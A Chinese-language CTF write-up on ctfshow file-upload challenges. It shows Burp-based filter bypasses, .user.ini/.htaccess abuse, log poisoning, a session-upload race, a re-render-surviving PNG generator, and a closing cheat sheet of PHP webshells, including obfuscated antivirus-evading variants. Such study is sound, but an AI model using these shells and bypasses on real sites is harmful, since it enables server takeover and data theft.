ctfshow_web入门 文件上传
文件上传
还是是一边学习一边做笔记的文章,由于是学习,所以会显得啰嗦
还请各位师傅担待~
如果有不正确的地方,请师傅们斧正谢谢师傅们
web150
火狐关闭js的插件一旦开启,就没法点击上传按钮了。
而且这里没法上传.php .jpg
等后缀文件,只能选择png
格式图片。所以只能以够抓包然后修改内容的方式上传图片马。
同时,一旦图片格式满足,就自动上传了。
打开burp开启,然后上传一张png格式图片,在burp抓的包中添加一句话木马<?php eval($_POST['cmd']);?>
,修改图片后缀为.php
上传
访问对应网页即可
web151
同web150
web152
首先尝试上传php
后缀文件,发现不行。所以上传.user.ini
配置文件,因为是nginx
系统,所以配置文件是.user.ini
,.htaccess和.user.ini配置文件妙用
同样,上传png文件,burp抓包修改文件信息(将信息传入repeater之后可以反复修改,反复提交),文件名修改为.user.ini
,内容添加auto_prepend_file=meima.png
。再上传一个名为meima.png
的图片马即可
最后访问/url/upload/index.php
,用cmd=system('tac /var/www/html/f*');
输入命令获取flag就好
web 154
同样,先上传.user.ini
,内容auto_prepend_file=meima.png
,接着上传名为meima.png
的图片马。
就可以利用上一关的repeater中的数据包,将host给修改一下就可以。
.user.ini
auto_prepend_file=meima.png
同时,图片马:
meima.png
<?= eval($_POST['cmd']);?>
同样,在火狐中,将host给修改一下,继续执行即可,命令都不需要改
web 155
嫖web154,操作完全一致
web 156
为啥我上传没有马的png也不行呢?哦,原来是文件内容太长了。
整一个短一点的马儿或者是将抓到的包的信息给改少一点。
过滤了[],用{}
进行绕过
因为之前上传过一次
<? `tac /var/www/html/f*`;?> 也可能是没有加echo,这个有点不太清楚
但是显示结果却是:no thing here ,所以这里打算复盘一下,用webshell,写一个php文件进去测试;最后用蚁剑连接之后发现,创建了文件,但是文件中没有内容
最后可以直接用蚁剑写入文件,
所以说,在``之前是需要加上echo 的;
``相当于是shell_exec()函数
同样,也可以直接从burp中修改命令,然后反复上传以达到目的,原来的文件会被替换掉
web 157
额,看样子貌似是过滤了;
,可以上传拿到flag
<? echo `tac /var/www/html/f*`?>
PHP最后一句可以不用加;
,貌似只是针对这种逻辑简单的可以不加,一些逻辑比较复杂的代码最后还是是需要加的
web 158
用157的方法,直接拿下
web 159
貌似过滤了system
或者()
用157的方法,直接拿下
web 160
这个题过滤了空格 ()
额,还记得文件包含的web82不,那个上传session文件的解题方式,这题也用那个方式
一共要准备四个包;
一个上传.user.ini
文件上传包,一个1.png
文件上传包;一个url/upload/index.php
反复请求包,一个session
反复上传包;
接着条件竞争,
一个burp一直请求/url/upload/index.php
另一边,一直上传文件
访问/url/test1.php,如果有页面就成功,没有就失败,重来一次就行
拿到flag
Firebasky师傅的wp中提到,auto_prepend_file的配置相当于文件包含。
web 161
有文件头的一个判断,选择GIF89a
的文件头,比较方便记忆与绕过
顺带看一下,图片有没有被修改,发现,(我们的图安然无恙!)
在文件头前面加上GIF89a
,然后就可以白嫖web160的方法了
方法二:日志包含
在user-agent中加入一句话木马,然后在图片中加入引入日志文件的代码
在配置文件.user.ini
中,将auto_prepend_file设置为:1.png
接着访问url/upload/index.php,那么就会执行1.png的代码,由于1.png引入日志文件,那么日志文件中的一句话木马就会被执行
突然想问一句,既然auto_prepend_file能进行文件包含,那么是不是可以直接从auto_prepend_file入手日志文件呢?不行
web 162
过滤了.
,但是发现,可以直接上传,可以白嫖上面的方法,上传文件1的时候,文件内容一定要少
web 163
发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入
所以所以这里就卡了很久,但是依旧没有上传请求成功
web 164(png图片二次渲染)
这个题怎么说呢,没有发现有一个download.php文件,所以也就不知道怎么去做。
所以我这里也就直接照搬做出来的大佬的笔记了
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的图片马
?>
上传图片成功之后,访问url/download.php?iamge=xxxx&0=system post传入:1=cat flag.php
就可以得到flag
web 165
jpg图片渲染用164脚本依旧可行,只是我这里一直上传不了
web 166
上传zip文件,在zip文件中写入一句话,通过download.php进行下载,然后rce
由于下载时是GET方式,所以之类马儿里也用的get方式
这里注意到download.php,就顺带看了一下,因为最之前不知道如何通过download.php进行文件包含的,哦~原来里面有一个include($file)
web 167
看到httpd,想到是不是Apache。于是F12通过network查看,
上传.htaccess
,这题需要上传jpg格式的马儿,同时写入
AddType application/x-httpd-php .jpg
?为什么我开的题目环境一直出问题???
不过按理来说,访问/url/upload/1.jpg即可;
原来是配置文件解析错误,上传的配置文件中,只写一句和解析有关的就够了,多余的删除,否则会有500的错误
大佬的wp
web 168
可以直接上传.php
文件
查看flag,反引号是shell_exec()函数的简写;需要用echo来进行输出
看了羽师傅博客,又l了解到了很多:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
web 169
直接将<过滤了,所以也没有办法执行PHP代码,于是这题考虑日志包含
同时,上传时,需要burp抓包上传,上传zip
文件,并且将file_content修改为image/png
才能成功上传
在user-agent中写入一句话木马,<?php eval($_POST['cmd']);?>
上传一个.user.ini文件,auto_prepend_file=/var/log/nginx/access.log
上传一个1.php文件,内容随便写123
,因为url/upload/
目录下没有文件,所以需要写一个文件来承接.user.ini
接着就可以访问/url/upload/1.php
,然后rce
也可以用蚁剑连接,方便找flag。
web 170
同上
解题
上传配置文件,然后传马
马儿内容
短标签马儿:
一般的马儿:
<?php eval($_POST['cmd']);?>
没有PHP的马儿
<?= eval($_POST['cmd']);?>
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
有PHP的马儿
<script language="php"></script>
特殊马儿:
过滤[]:用{}代替
<?= eval($_POST['cmd']);?>
直接拿flag的变形马儿
<? echo `tac /var/www/html/f*`;?>
<? echo `tac /var/www/html/f*`?>
免杀马儿:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
上传配置文件,上传sessionid的马儿
.user.ini
文件中写入auto_prepend_file=1.png
1.png
中写入<?include"/tmp/sess_test"?>
,此处sess_test中的test是PHPSESSIDd的值
uplaod_session.php
<html>
<body>
<form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
此处代码,抓包后在cookie位置添加:PHPSESSID=test
格式
GIF89a
注意:
发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入
谢谢师傅们观看~